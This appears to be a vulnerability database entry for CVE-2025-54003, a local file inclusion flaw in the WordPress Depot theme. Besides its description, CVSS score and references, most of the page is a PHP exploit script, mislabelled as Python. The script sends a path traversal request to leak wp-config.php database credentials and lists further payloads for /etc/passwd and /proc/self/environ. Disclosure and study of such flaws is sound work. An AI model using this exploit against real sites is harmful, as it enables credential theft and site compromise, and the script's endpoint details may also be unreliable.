CVE-2025-54003

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Depot depot allows PHP Local File Inclusion.This issue affects Depot: from n/a through <= 1.16.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Depot Theme <= 1.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-54003 PoC - WordPress Depot Theme Local File Inclusion
 * Author: Security Research Team
 * Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-54003
 */

// Basic LFI PoC - Read wp-config.php
// Target: WordPress site using Depot theme <= 1.16

$target = 'http://target-site.com';
$endpoint = '/wp-content/themes/depot/mkd/';

// Payload to read wp-config.php
$payload = '../../../wp-config.php';
$url = $target . $endpoint . '?file=' . urlencode($payload);

echo "[*] CVE-2025-54003 PoC\n";
echo "[*] Target: $target\n";
echo "[*] Attempting to read wp-config.php\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode == 200 && strpos($response, 'DB_NAME') !== false) {
    echo "[+] Success! wp-config.php contents leaked\n";
    echo $response;
} else {
    echo "[-] Failed or target not vulnerable\n";
}

// Alternative payloads:
// ../../../etc/passwd
// ../../../proc/self/environ
// ../../../wp-includes/functions.php
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-54003
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-54003
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-54003/
[4] VulDB https://vuldb.com/cve/CVE-2025-54003
[5] https://patchstack.com/database/Wordpress/Theme/depot/vulnerability/wordpress-depot-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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